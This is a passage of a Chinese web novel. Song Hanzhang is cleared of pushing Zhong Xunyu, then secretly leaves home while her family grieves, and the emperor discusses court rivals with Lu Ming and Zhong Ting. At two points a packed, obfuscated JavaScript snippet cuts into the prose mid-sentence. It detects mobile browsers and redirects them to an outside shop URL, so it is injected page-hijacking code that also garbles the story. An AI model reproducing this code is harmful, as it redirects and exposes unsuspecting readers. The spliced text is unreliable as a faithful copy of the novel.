钟廷直起身,将儿子的话一字一句地重复给在场众人。他那沙哑的声音在安静的偏房里格外清晰,传到屋外,院子里所有的人都听见了。 屋外的众人,那悬了一天一夜的心,终于稳稳当当地落在了地上。王谦山长长长地吐出一口气,那口气里装着几十个小时的焦灼与不安;余老先生用袖子擦了擦眼角,拐杖在地上轻轻顿了顿,嘴里念叨着“活着就好,活着就好”;宋行简靠在老槐树上,仰头看着夜空,眼眶红了,嘴角却是上扬的——他的妹妹,不是凶手。那一巴掌,他不知道自己这辈子还能不能还给她。 靖王爷站在人群里,长长地舒了一口气。那口气舒得太明显,周围的几个人都听到了。他方才对钟廷说的那些话——那些“要杀要剐全凭你处置”的场面话——背后带着几分不愿示人的威胁之意。其实他说完之后,心里始终是有些后怕的。 毕竟钟廷的势力也不可小觑,户部管着天下的钱粮,自己军队的饷银还要经过钟廷的手里审批,若是得罪狠了,每一笔银子都有被卡住的可能。如今钟荀彧活下来了,钟廷方才那句“如果犬子有什么不测”的前提便不存在了,两家至少不会彻底撕破脸。 钟荀彧既然已醒,众人便都纷纷告辞,踏着夜色各回各家。马车一辆接一辆地驶离青山书院,车轮碾过青石板的声音渐渐远去,书院终于又恢复了它本来的宁静。 宋府外围,钟家的家丁已经撤走。那些举了一夜一日火把和长刀的人终于散了,巷子里又恢复了往日的安静,只剩下墙上被火把熏出的几道黑印,证明过这场风波的存在。宋含章被肖朗从祠堂里背回了自己的房间,趴在了那张熟悉的、有她体温的床上。 她趴在枕头上,听见春夏在一旁给她上药时絮絮叨叨地说钟家公子活下来了、陆鸣大人查出真相了、曾思雨她们都招了。 她的嘴角只是微微扬了一下,那笑容极淡极轻,像是听了一个与己无关的故事,旋即闭上眼睛,沉沉睡了过去。春夏跪在床边,手里拿着药膏,看着她家姑娘那满背层层叠叠的伤口,眼泪一滴一滴地落在药膏上,可她没有哭出声——她怕吵醒姑娘。 宋夫人、宋四维、宋行简站在宋含章的房门口,隔着门槛看着床上那个趴着的、呼吸均匀的女儿。 她的背上新旧伤口叠在一起,血肉模糊,可她的脸却很平静——比他们三个人都要平静。宋夫人的手攥着门框,指甲陷进了木头里。宋四维的肩膀微微塌着。 宋行简站在那里,目光落在那张侧脸上,想起自己扬起的那一巴掌。他们心里都装着同样的东西——自责、懊悔和心疼,像三块石头压在胸口,沉甸甸的,让人喘不过气。 他们不知道明早醒来,该如何面对宋含章。他们更不知道,宋含章其实根本不需要他们面对——她从来不怨任何人,这些对她都已无所谓了,她只是睡着了。 宋玉章、程国恩、肖朗站在院中,透过窗户看着屋里那个睡着的身影,既心疼又佩服。竹鞭落在她身上,她一声不吭,眼泪都没有掉一颗。伤口那么严重——新旧叠加,皮开肉绽,血把衣裳都粘在了身上——她竟然还吃得下,睡得着。 肖朗想起自己在习武时见过的那些骨头硬的人——只有真正硬过骨头的人,才能在遍体鳞伤之后还睡得这么安稳。他抱着胳膊,没有说话,眼底的敬佩却藏也藏不住。 这一夜的京城,异常安静。茶楼没有再说书,巷口没有人再议论,整座城像是经历了一场暴风雨后终于喘了口气,沉沉地睡了过去。 第二日的晨光慢慢升起,阳光透过窗棂洒进宋含章的房间,照在那一床叠得整整齐齐的被褥上。 霍凌霜、顾子佩、曾思雨、沈十安都被施了家法。霍擎苍的鞭子比上次更重,抽得霍凌霜后背皮开肉绽,她却咬着牙一声不吭,罚完之后自己扶着墙站起来,一瘸一拐地去祠堂罚跪。 曾思雨在靖王府的祠堂里跪了一天一夜,膝盖跪肿了,脸被靖王爷打肿的那一侧还留着青紫色的指印。 顾子佩被顾老夫人亲自用戒尺打了手心二十下,每一戒尺都打得结结实实,然后被罚去佛堂抄写《女诫》十遍。 沈十安被沈老夫人罚跪在祖宗牌位前整夜,膝盖磨破了皮,又被罚禁足三个月不得出门。四个孩子,各自在挨打受罚,可他们挨的罚,和宋含章背上那些层层叠叠的伤口比起来,差得太远太远。 宋府里,宋夫人亲自下厨。她天不亮就起来,挽起袖子,亲手做了宋含章最喜欢吃的饭菜——红烧肉是挑的五花三层,肥瘦相间,炖了整整一个时辰,筷子一夹就能化开;糖醋排骨裹着亮晶晶的糖色,摆在盘子里还冒着热气;还有一大碗鸡腿面,汤汁浓郁,上面卧着两个金黄的荷包蛋。 她把饭菜装进食盒里,心里反复盘算着怎么开口——怎么跟女儿说对 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“父亲、母亲,这个世间容不下女儿,京城容不下女儿。女儿走了,去寻找一个能容得下女儿的地方。不要来寻女儿了,请原谅,是女儿辜负了你们的养育之恩。” 众人看了,心都在震颤。宋夫人的手一松,纸条从她指尖滑落,飘到了地上。她一手撑着饭桌,手指死死地扣着桌沿,深深吸了一口气,然后转身,朝宋含章的房间走去。其他人也紧跟其后,脚步声杂乱而急促。 房间里整整齐齐。被子叠得方方正正,枕头摆在正中央,桌子上的笔墨纸砚排列得一丝不苟,地上连一片纸屑都没有。 宋玉章赶紧打开衣柜——衣柜里所有衣衫,一件不少。她又去墙角看那些木匠的工具——锯子、刨子、凿子、墨斗,全都安安静静地躺在那儿。 宋含章走了,什么都没带:衣衫未带,春夏给她做的新鞋未带,那些她视若珍宝的木匠工具也未带。她只带走了她自己。 可是,没有人知道——在她那件红色交领襦裙的袖袋里,悄悄揣走了一样东西。那是一方素白的手帕,边角只绣了一个歪歪扭扭的“宇”字。 那是顾承宇在沈府假山后面递给她的那一块。那日在假山后,她用它擦过嘴上的点心碎屑,随手塞进了袖子里,后来竟忘了还——也许是忘了,也许是那个从来只知道拳头和倔强的胖姑娘,在京城这个容不下她的地方,偷偷带走了唯一一个少年郎给予她的、不带任何嘲弄和怜悯的善意。 她没有带衣衫,没有带木鸢,没有带春夏给她烙的大饼,却带走了那块帕子。 宋夫人看了一圈,终于再也撑不住了。她瘫坐在地上,双手抱着自己的肩膀,仰起头,嘴一张,嚎啕大哭起来。 那哭声从胸腔最深处被硬生生撕出来,穿透了房间,穿透了庭院,在整座宋府上空回荡。她嘴里嘶声力竭地喊着:“团团——我的团团——娘错了,娘不该打你,娘不该不信你,你回来,你回来啊——”那声音已经不再是一个当家主母的声音,而是一个丢了孩子的母亲最原始、最撕心裂肺的哀嚎。 宋四维站在房门口,背对着所有人,用手捂住了眼睛。他的肩膀轻轻颤抖着,泪水从指缝里渗出来,顺着手指的纹路往下淌。如今女儿走了,什么都不要了,连木鸢都没带,连春夏都没带,一个人踏进了那个容不下她的天地。 宋玉章抱着宋引章,姐妹俩哭成了一团,宋引章死死拽着姐姐的衣襟,嘴里反复喊着“二姐姐呢?我要二姐姐”。 宋清扬在肖朗怀里放声大哭,哭得撕心裂肺,嘴里还喊着“二姐姐不要走”。肖朗红着眼眶,把宋清扬抱得紧紧的,什么话都说不出来。 春夏蹲在宋夫人身边,把那张纸条从地上捡起来,攥在手里贴在胸口,哭得浑身发抖——她家姑娘,走了。什么都没有带,连她都没有带上。 宋行简、程国恩、肖朗来不及伤心哭泣。三个少年冲出宋府,分头去召集所有的家丁,把人撒出去,沿着京城每一条街道、每一个城门、每一片林子和每一座桥头去寻找。 宋行简跑到城门口问守城的卫兵,卫兵说天色太早,换班才换了一轮,谁也不曾注意过有没有一个胖姑娘出城。他又去茶馆门口,去那个说书人平日里说书的地方,去书院的马场,去后山的悬崖边——他跑遍了所有她能去的地方,可每一条巷子都是空的,每一扇门后面都没有她。 中午时分,顾老夫人、顾二夫人、顾承宇、沈老夫人、靖王妃、霍擎苍带着厚礼,亲自来到宋府登门致歉。 他们这次来,是真心实意来赔罪的——孩子们犯下的错,做长辈的不能不担。 然而当他们跨进宋府大门,看到的是一片哀戚之色,知晓宋含章不见了的消息时,这些在朝堂上和深宅里见惯了风浪的人,也忍不住心疼起来。 宋夫人已经哭哑了嗓子,坐在前厅的椅子上,目光呆滞,连来客都没有力气招呼。 沈老夫人拄着拐杖站在宋含章的房间里,看着那叠得整整齐齐的被褥和那些安安静静躺着的木工工具,眼眶也红了,喃喃地说了一句:“这么好的孩子,被我们这些大人逼走了。” 顾老夫人没有说话,只是转过身,吩咐顾承宇立刻派出宁安侯府所有的亲兵,沿着京城通往外界的每一条官道去寻找。 霍擎苍也铁青着脸,让副将带着一队轻骑出城去搜寻。 可是宋含章,已经不见了。没有人知道她去了哪里,也没有人知道她还会不会回来。 37. 天下朕守得住,你朕也守得住。 御书房的窗外,正值苦楝树花的盛期。那紫色的花朵层层叠叠地簇拥在枝头,远望如一团团紫色的云雾,近看似一串串玲珑的铃铛,馨香馥郁,随风潜入窗扉,将整座御书房都浸在一种若有若无的清甜里。 微风拂过,花瓣轻轻摇曳,偶有几片从枝头飘落,在阳光下打着旋儿,落在廊下的青石地上,铺了一层薄薄的紫色。 皇帝箫衡负手立于窗前,目光黏在那随风轻起的花瓣上,久久不曾挪开。 那双素日里威严而深邃的眼睛,此刻微微眯起,仿佛在看花,又仿佛在透过花看什么别的东西。兴许是皇上眼花了,在那密密层层的繁花之间,竟看见了顾贵妃那张迷人的面容——不是现在那个恭顺疏离、安安静静的顾贵妃,而是六年前那个会扑进他怀里叽叽喳喳说个不停、笑得前仰后合的顾婉清。 那时候她在这御书房里替他研墨,不小心把墨汁溅到他的龙袍上,然后吐了吐舌头,笑得像个做了坏事还理直气壮的孩子。他记得她踮起脚尖,用蘸了墨的手指在他额头上也点了一下,两个人对着对方被墨迹晕染的额头哈哈大笑。 这些画面,不知是被这苦楝花的香气勾起来的,还是它们从来就不曾离开过。 顺德站在皇帝身后,躬着腰,顺着皇帝的目光也望了望窗外那满树繁花,又抬头看了看皇帝那张在花影里忽明忽暗的侧脸。 他伺候了陛下大半辈子,从陛下还是皇子的时候便跟在身边,太知道这苦楝树是谁种的了,也太知道陛下每次站在这里看花时心里想的是什么人了。他轻轻叹了口气,低声嘀咕了一句:“明明就在眼前,还在这里睹物思人!” 皇上头也没回,目光依旧停在那棵苦楝树上,却冷不丁地问了一句:“你又在嘀咕什么?” 顺德一惊,赶紧收起了脸上的感慨,换上一副惯常的笑模样,躬着身子赔笑道:“陛下,老奴在说——这花当真好看。开得比往年都盛,一串串的紫花,像是要把满树的精气都使出来似的。” 皇上这才转过头,似笑非笑地看了顺德一眼。他哪里不知道这个老滑头在打什么马虎眼,也不戳破,只是转了话头问道:“你这老滑头——陆鸣来了吗?” 顺德连忙答道:“早就候在门外了。他看见您在赏花,不便打扰,一直站在门外候着呢。陆大人的性子陛下是知道的,他站在那里,连气都不带喘的,像一尊门神。” 皇上转身走到书案前,撩袍坐下,端起茶盏抿了一口润了润嗓子,然后说道:“让他进来。” 顺德应声退下,片刻后,一袭玄色便服的陆鸣便无声无息地踏进了御书房。他步伐轻而稳,衣袍不起一丝褶皱,进门便单膝跪地行了一礼。 窗外的风将一缕更浓的花香送进了殿内,拂过书案上的奏折,也拂过陆鸣那张万年不变的冷脸。 皇上看着陆鸣,手指在茶盏盖子上轻轻叩了叩,眼神里带着一丝若有若无的笑意,像是在等一出好戏的开场。他语气随意地问道:“处理得如何了?” 陆鸣躬身拱手,声音一如既往地平淡简洁,不带任何多余的情绪:“都是顽童之间的打闹。不过——那靖王爷的掌上明珠,倒颇有几分乃父之风,如同一条小毒蛇,有野心,有算计,就是脑袋不太够用。心思倒是够狠,可惜只学了算计人,没学会怎么收场。” 皇上听了,嘴角的笑意微微加深,似是早有所料。他靠在椅背上,把玩着手中的茶盏,缓缓说道:“靖王爷这么多年一直保持中立,不结党营私,不参与任何派别斗争,与朝中大臣都保持着适当的距离——既不与方家过从甚密,也不与清流派走得太近。这副不偏不倚的姿态,朕看了这么多年,还以为他是个没有野心的人呢。可,私下里却与钟廷关系颇好。你说,这是为什么?” 陆鸣微微抬起眼,那双锐利的眼睛像是早就看穿了所有棋局:“靖王爷的几个儿子,都是撑不起靖王府的人——长子平庸,次子贪杯,三子更是只知斗鸡走狗。为了靖王府的未来,他自然要有所打算。钟大人管着户部,握着天下钱粮,与钟大人交好,便是与朝廷的钱袋子交好。他这是为靖王府留一条后路。” 皇上哼了一声,将茶盏搁在桌上,瓷器与红木相碰发出一声脆响。他嘴角带着一丝冷意:“是啊——开始打算到朕的钱袋子上了。朕的银子,他也想伸手。” 陆鸣沉声道:“那钟大人与靖王爷之间的往来,不过是表面功夫。钟廷虽然与他有私交,但从未在军饷上松过口,该卡的照样卡,该审的照样审。如今出了这档子事,曾思雨差点把钟家独子害死,凭借钟大人那睚眦必报的性子,想必钟大人连这面子上的功夫都不想做了。往后靖王爷再想从他那里多拨一两银子,怕是都要难如登天。” 皇上点了点头,语气里带着几分对钟廷的了解:“那是。不然他就不是钟廷了,不然朕也不会让他做钱袋子了。钟廷这个人的性子,朕太清楚了——你敬他一尺,他敬你一丈;你若动他一指,他必定还你一刀。曾家那丫头差点要了他儿子的命,他能忍住不立刻翻脸,已经是看在他儿子的福报上了。” 他站起身来,重新踱到窗前,望着那满树繁花,话锋一转,“宋四维家的二姑娘如何了?” 陆鸣沉默了一瞬,那张冷峻的脸上罕见地掠过一丝黯然。他的声音里带着几分惋惜,几分不忍:“离家了。已经好几天了。宋府、顾家、沈家、霍家——几家人派出去的人,沿着每一条官道和小径搜寻,都没有发现她的踪影。她就那么一个人,什么都没带,连木匠的工具都没带,像是从这个世间凭空消失了。”他顿了顿,又补了一句,“宋夫人已经哭哑了嗓子,宋学士一夜之间添了些许白发。宋行简每天天不亮就骑马出城去找,找到了天黑才回来,整个人瘦了一圈。” 皇上站在窗前,望着那棵苦楝树。紫色的花瓣在微风里轻轻颤动,像是一树无声的叹息。过了许久,他才开口,声音里带着一种坐在龙椅上的人极少有的疲惫和无奈:“这生孩子呀——太蠢太笨不好,太顽皮了也不好,都让父母操心。朕看着宋四维这辈子端方正直,从不与人结怨,到头来却被自家的女儿折腾得生出了白发。” 陆鸣听了,微微抬了抬眉,那张冷脸上难得地浮现出一丝不以为然的神色:“是吗?微臣不觉得。” 皇上转过身看着他,眼神里带着几分审视和几分好笑:“你乃孤家寡人一个,没有娶妻生子,自然不知道养孩子的劳心劳力。等你哪天成了家,有了自己的崽子,就知道朕这话是什么意思了。” 陆鸣面不改色,微微欠身,语气平淡却带着一丝若有若无的自嘲:“看来——还是孤家寡人比较好。省心,省力,也不用半夜被娘子踹下床去找离家出走的女儿。” 皇上被他这话逗得摇了摇头,难得地没有绷住脸。他走到陆鸣身边,收起了笑意,话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618717|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋一转,声音也沉了下来:“方雍最近有什么新动作?” 陆鸣立刻收起了所有玩笑的神色,正色道:“目前还没有。前些日子他府上倒是宴了几次客,都是老面孔,没有异常。他的孙子方继志仍在青山书院念书,与程国恩的来往也未见中断。此外暂无异常。” 皇上又笑了笑,那笑容却没有半分暖意,冷得像刀刃上泛着的寒光:“目前没有,不代表以后没有。这老狐狸最擅长的就是蛰伏——你忘了他当年是怎么扳倒周太师的?等了三年的破绽,最后在一个最小的细节上动了手。陆鸣啊,你说说,这个方雍以后的目标,会对准谁呀?” 陆鸣沉默了一瞬,垂下眼帘,像是在斟酌什么。片刻后,他抬起头,恭敬地答道:“卑职不敢妄言。”可他的眼底,分明已经有了一个清晰的答案。 皇上看着他,嘴角一挑:“你这是揣着明白装糊涂呢。这满朝文武,能挡得住方雍路的,能够制约方雍的,还不是那几个硬骨头。你不敢说,朕替你说。” 陆鸣听了,也不再藏着掖着,声音沉稳而笃定,每一个字都像是经过了深思熟虑:“陛下,那几个硬骨头,性子虽傲,脾气也不好,还经常刚愎自用,经常气您——霍老将军刚烈,顾将军沉默,岳大人顽固,赵大人冷面——可这心,是正的。是把宁国的江山社稷和黎民百姓装在心里的。不似方雍那般,心里只有家族的利益和那勃勃的野心,不顾这江山社稷不顾这黎民百姓。他们也许不是最好相处的人,却是这座朝堂上最后几根不会弯曲的梁柱。” 皇上看着陆鸣,沉默了片刻。然后他伸出手,拍了拍陆鸣的肩膀,声音低沉却郑重,带着一种托付的意味:“所以啊,你可得帮朕把那几个硬骨头保护好了。宁国这座大厦,少了他们,就真的只剩下柱子了——还都是方家的柱子。” 陆鸣后退一步,躬身领命,声音斩钉截铁:“微臣遵旨。” 皇上点了点头,收回手,挥了挥衣袖:“下去吧。” 陆鸣躬身退下,无声无息地退出了御书房,将门轻轻合拢。殿内又只剩下了皇帝和窗外那一树紫色的花。 皇上迈步走到窗前,双手负在身后,目光又落在了苦楝花上。那层层叠叠的紫色花瓣在午后微风中轻轻起伏,像是谁在低声细语。不过他此时想的并不是顾贵妃——他想的,是那几个硬骨头。 顾恩,宁安侯,镇守西疆几十年,从不曾让西夷踏过宁国半步。岳安,刑部尚书,六亲不认,连方雍的侄子都敢审。赵不疑,左都御史,一张铁嘴参遍了朝堂上的贪官污吏,奏折堆起来比他的人还高。霍擎苍,三朝元老,威震将军,父子二人守在极北之地,与北狄打了大半辈子的仗。 如果这几根硬骨头倒下了,那这朝廷,这宁国,就都是方雍说了算了。 他站在窗前,看着那棵苦楝树——那棵她亲手种下的树,如今已亭亭如盖。她不争不抢,不哭不闹,连被他推开多次都依然把这道门关得死死的。可是他知道,她也是硬骨头。 她不肯低头,不肯讨好,不肯用当年的旧情来换一份恩宠。她只是安安静静地守着那座翠微宫,守着她的一盆花和三个孩子,为他打理好后宫,和那些边关的硬骨头一样,从不对任何人屈膝。 他眯起眼睛,望着那满树繁花,低声自语了一句,声音轻得只有他自己能听见:“婉清,这天下,朕守得住。你,朕也要守住。” 38. 一碗水的心胸,眼睛蒙尘 夏风吹过钟府的庭院,带着院中石榴花初绽的微甜气息,拂动了廊下的竹帘,也拂动了满府沉寂了多日的空气。 阳光透过窗棂洒进偏房,落在床头那张渐渐恢复了血色的小脸上。钟荀彧已能开口说话了,虽然声音还虚弱得像一只刚出壳的雏鸟,但他醒来后说的第一句完整的话,已经在京城里传开了——“是曾思雨把我推下去的,不要为难宋含章。”这句话,洗清了一个人的冤屈,也坐实了另一个人的罪名。 霍擎苍、靖王妃、顾老夫人、沈老夫人都带着厚礼,亲自登门拜访致歉。礼物堆满了钟府的前厅——霍家送来了北疆的虎骨和鹿茸,顾家带来了西疆的珍贵药材和几匹上好的云锦,沈老夫人捧来了一尊开了光的玉佛,靖王妃则带来了一套镶金嵌玉的文房四宝。 几位在京城里有头有脸的长辈,此刻都放下了平日的架子,坐在钟家的前厅里,客客气气地说着赔罪的话。 大家毕竟都是京城里有头有脸的人物,抬头不见低头见。朝堂上要共事,宴席上要照面,逢年过节还要互相走动。钟夫人心里再恨,也不能把人撵出去。 她很客气地招待了他们——茶是上好的碧螺春,点心是府里厨子现做的桂花糕,礼数周全,笑容得体,只是那笑容底下,藏着一个母亲这些天来攒下的所有惊惧与怨恨,半分也没有消。 钟廷呢,面上是不与他们计较的。他坐在主位上,端着茶盏,与霍擎苍聊了几句北疆的军情,与顾老夫人问了问顾恩将军的近况,与沈老夫人寒暄了几句天气和时令,甚至还对靖王妃微微点了点头。礼数周全,滴水不漏。可这仇,他已经记在了心里,刻得比任何账本上的数字都更清晰。 霍家、顾家、沈家皆是护卫宁国的功臣——霍家世代镇守北疆,顾家兄弟血战西疆,沈家祖上马革裹尸——且都是家风清正、子弟忠良之门,钟廷以后自然不会为难,也不想为难。 可靖王府这仇,他可是要记一辈子的。他钟廷活了大半辈子,从不主动树敌,可一旦认定了敌人,便绝不会轻易放下。 钟廷爱记仇,睚眦必报的性格,在朝堂上不是什么秘密。当年有言官弹劾他贪污,查了一年查不出任何证据,倒是那言官自己后来因为一件小事被钟廷参了一本,贬到岭南去数荔枝了。 皇上箫衡是清楚得很的。可越是这样的人,用起来反而越放心——因为他恩怨分明,从不藏着掖着。 然而眼下,西疆边境不稳,西夷王蠢蠢欲动,据边关奏报敌军已集结重兵,此时顾家与钟家又有摩擦,皇上心里不免有些担忧。 他担心钟廷这记仇的性子,会在军饷粮草上为难顾家军——哪怕只是拖延几日,在边关战场上,都是要死人的。 于是,他特地召见了钟廷。 御书房里,苦楝树香得很。那紫色的花开到极盛,一簇簇一团团,压弯了枝头,香气比前几日更浓更酽,像一道看不见的帘子,将整座御书房笼罩在一种恬淡而馥郁的氛围里。阳光从花叶的缝隙间漏下来,洒在窗前的棋盘上,落在黑白棋子之间,斑斑驳驳。 皇帝箫衡坐在卧榻上,手执白棋,目光落在棋盘上。他一子落下,棋子叩在棋盘上发出清脆的声响,语气随意得像是在聊家常:“钟廷啊,儿子如何了?” 钟廷坐在对面,执黑棋应了一子,不假思索,声音平稳而恭敬:“回陛下,犬子已脱离危险。林太医说,再调养些时日,便能下地走动了。多谢陛下挂念。” 皇上又落下一子,棋盘上的局势渐渐铺开。他微微颔首,目光没有离开棋盘,声音却比方才多了几分郑重:“那就好。如今西疆边境不稳定,西夷王虎视眈眈,所谓兵马未动,粮草先行——钟廷啊,顾家军的粮草,你可得准备充足了。一文钱都不要省,一粒米都不要拖。” 钟廷抬起眼,看了皇上一眼。他在朝堂上摸爬滚打了几十年,什么话该听字面,什么话该听言外之意,早已烂熟于心。 他自然明白皇上话里的意思——皇上担心的不是他钟廷的办事能力,而是他会不会因为顾家女儿参与了那桩事,便把账算到顾家军的头上。 于是他放下手里的棋子,正色说道:“陛下放心。顾家世代忠良,顾老侯爷和两个儿子、一个孙子更是战死疆场,为国捐躯,葬在那西疆的关山之上。西疆乃是宁国重要的屏障,如果没有顾家军用血肉之躯来抵挡,只怕宁国早已山河破碎,哪有今日的太平日子。这粮草,臣一定准备得妥妥帖帖,绝不让顾家军饿着一兵一卒。” 钟廷的话,既是向皇上表明自己不会因私怨而为难顾家军——他钟廷恩怨分明,不会把孩子的过错算到浴血奋战的将士头上。 可他故意提起顾老侯爷和两个儿子、一个孙子战死疆场,也是在不动声色地提点皇上:顾家为了宁国,连老侯爷和两个儿子、一个孙子的命都搭进去了,这样的忠烈之门,天地可鉴。莫要担心功高震主,莫要猜忌顾恩有不臣之心。如果一味地猜忌、敲打、试探,只会寒了人心——寒了那些在边关的朔风和黄沙中拿命守江山的人的心。 皇上听了,手里的白棋微微一顿,悬在棋盘上方停了一瞬。他忽然想起六年前——那时候他听信了谗言,听信了那些“顾家拥兵自重”“功高震主”的鬼话,对顾家军百般猜忌,把顾贵妃禁足在翠微宫里整整一年,把两个年幼的儿子从她身边带走送到太后那里。 可是,纵使他猜忌顾家、敲打顾家,顾家军依旧忠心耿耿,依旧守着西疆一寸不让。顾恩没有因此少打一场仗,顾典没有因此少守一次边,顾老侯爷的牌位依旧端端正正地摆在祠堂里,从未有人说过一句怨言。每每想起此事,他都觉得无地自容——他半生自诩明君,唯独在这件事上,他欠了一份公道。 他放下棋子,抬起头看着钟廷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618718|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目光里带着一种罕见的自省和诚恳:“钟廷啊,你说——朕是不是只有一碗水的心胸?你说朕的眼睛,是不是蒙尘了?” 钟廷拿起一颗黑棋,在指尖转了转,没有回避皇上的目光,也没有拐弯抹角。 他是户部尚书,算了一辈子账,早就养成了有话直说的脾气,更何况皇上问到了这个份上:“陛下,圣人言,人非圣贤,孰能无过。过而能改,善莫大焉。眼睛蒙了尘不怕,擦掉就是了;心胸窄了也不怕,撑开就是了。怕的是蒙了尘还不肯擦,窄了还不肯认。您能问出这句话,就说明那层尘,已经被您自己擦掉了。” 皇上听了,沉默良久。窗外苦楝花的香气一阵一阵地涌进来,和棋盘上未分胜负的局势交织在一起。 他看着对面这个快四十多岁的臣子,这个平日里他既倚重又头疼的“臭棋篓子”,忽然感慨地说道:“如今,也只有你还能与朕这样说话了。朝堂上那些人,有的不敢说,有的不想说,有的说了也是绕了十八个弯,还不如不说。” 钟廷落下一子,棋盘上啪的一声脆响。他微微抬起头,那张素来严肃的脸上难得露出了一丝笑意:“陛下,能这样说话的人有啊——霍老将军,岳尚书,赵都御史,还有宋学士。只是他们说得太直接,太刺耳,让人无法接受。霍老将军那张嘴您最清楚,去年在朝堂上指着方丞相的鼻子骂他是蛀虫,还把一旁的鼎炉踢倒下;岳大人审案时不讲情面,连先帝的面子都驳过;赵大人一年能参三十几本,有一半都送到了您的案头。可是,陛下——”他的语气沉了下来,像是在拨打算盘时拨到了最关键的那一粒珠子,“良药苦口利于病,忠言逆耳利于行。那几个家伙说的话,的确不好听,也不给人留面子。可他们的话,能够让人清醒,能让人反省,如同警世名言,敲在耳边,疼在心头,却能让人不迷路。倘若有一天,您听到的全是好听的话——满朝文武只会在您面前歌功颂德、粉饰太平——那这个已朝廷危矣,国已将不国。” 皇上听了,沉默了片刻。然后他站起身来,将手中那枚白棋稳稳落在棋盘上,嘴角浮起一抹笑意,语气里带着几分王者才有的自负与轻松:“你这个臭棋篓子——又输了。” 钟廷低头看了看棋盘——自己的黑棋被围得水泄不通,大龙被斩,实空不足,确实输得彻彻底底。 他笑着将手中剩下的棋子放回棋罐里,双手一摊,毫不气恼地说道:“陛下,微臣这双手,只适合算账,哪里适合下棋啊。算账的时候,一是一二是二,分毫不差;下棋的时候,却是步步都要算人心——这人心,可比账本难算多了。” 皇上哈哈大笑,那笑声朗朗地穿过御书房的门窗,传进守在门口的顺德耳中。 顺德站在门外,听见这笑声,也跟着弯了嘴角——他伺候陛下几十年,太知道了,自打顾贵妃不再来御书房,这笑声,已是许久不曾听见了。 39. 宋含章,成为禁忌 一个月过去了。从暮春到盛夏,京城里的苦楝花从盛放到零落,枝头的蝉鸣一声比一声聒噪,巷口的槐树投下的阴凉一日比一日浓密。 可宋含章仿佛人间蒸发了一样,活不见人,死不见尸,杳无音讯。派出去的人从京城搜到城外,从官道搜到小径,从山林搜到河边,每一座破庙、每一间废弃的茶棚都没有放过,可哪里都没有她的踪迹。她就像一滴水落进了沙漠里,无声无息地蒸发了。 宋夫人是天天以泪洗面。她的眼睛总是红肿着,眼角的细纹在一个月里深了许多,鬓边也悄无声息地添了两根白丝。 每顿饭,她都把宋含章自己做的那个大饭碗——那个比和尚化缘的钵盂还大一圈、能装下五碗米饭的海碗——端端正正地放在饭桌上,摆在宋含章从前常坐的那个位置前。 然后她拼命地往里面夹菜,红烧肉、糖醋排骨、鸡腿,都是团团最爱吃的,一筷子一筷子地堆上去,直到堆成了一座小山。 她一边夹一边喃喃自语:“团团,娘做了你最爱吃的,你回来吃吧,娘再也不拦着你吃饭了,你想吃多少就吃多少……”可那个位置始终空着,碗里的菜从热气腾腾放到冰凉,从新鲜放到馊掉,最后只能由春夏含着泪端走。 宋四维也是时常唉声叹气,在朝堂上还能勉强撑着翰林学士的从容体面,回到家便卸下了所有伪装。 他的书房里灯常常亮到深夜,不是在看书写字,而是枯坐在书案前,望着窗外那轮明月发呆。 夜里做梦,他反反复复地梦见他的团团——梦见她第一次开口叫爹爹,梦见她拿着那只木鸢仰着下巴说“爹爹你看,它会飞”,梦见她趴在长凳上被打得血肉模糊还昂着头喊“不是我推的”,每一次从梦里惊醒,枕巾都是湿的。 他在朝堂上面折廷争从不露怯,可女儿留下的那张纸条,他始终没有勇气再看第二遍。 宋行简、宋玉章、程国恩、肖朗他们半分都不敢在母亲面前提起宋含章的名字。 那个名字像是一根插在全家人心口上的针,不碰则已,一碰就疼得喘不上气。 从前那个充满笑声和喧闹的宋府,那个饭桌上会因为宋含章的大碗而哄堂大笑的家,如今变得寂静起来。 连平日里最爱斗嘴的宋清扬和宋引章都变得沉默寡言,吃饭时乖乖扒饭,不再叽叽喳喳地说话,偶尔会偷偷看一眼那个空着的座位和那只堆满了菜的大碗,然后低下头继续吃饭。 宋含章三个字,成了这个家里的禁忌——不是不想提,是不敢提。一提,母亲的眼泪就止不住。 宋含章凭空消失了,可京城里还有她的传说。茶馆里,说书先生的惊堂木依旧在响,只是他讲的不再是“大混世魔王”的笑话和丑闻。 他穿着那件被宋含章踹过之后缝补了好几针的长衫,捋着胡须,唾沫横飞地讲起了另一个版本的故事——说宋家二姑娘离开了京城,在城外遇见了一位白胡子老神仙,那老神仙说她骨骼清奇、胆魄过人,是百年不遇的奇才,便驾着一道祥云带她遨游天际去了。 说书先生说得绘声绘色,仿佛亲眼所见,把茶客们听得一愣一愣的,有人拊掌叫好,有人将信将疑,也有人悄悄地红了眼眶。不知道是说书先生良心发现,还是他知道那个胖姑娘真的再也回不来了,不敢再拿她说笑。 青山书院里,那一群稚童变得安分守己起来,不再打架,不再闹事,连说话的声音都比从前轻了几分。 可是,他们开始怀念宋含章。从前觉得她闹腾、觉得她凶悍、觉得她一个人能把整个西院掀翻,如今她不在了,书院里安静得让人心慌。余老先生依旧每天讲他的《诫子书》,可讲到一半偶尔往那个空着的角落看上一眼,便会顿一顿,然后继续讲下去。 曾思雨不在书院了——她被靖王爷接回去单独请了先生,不再与这些同窗一起念书。 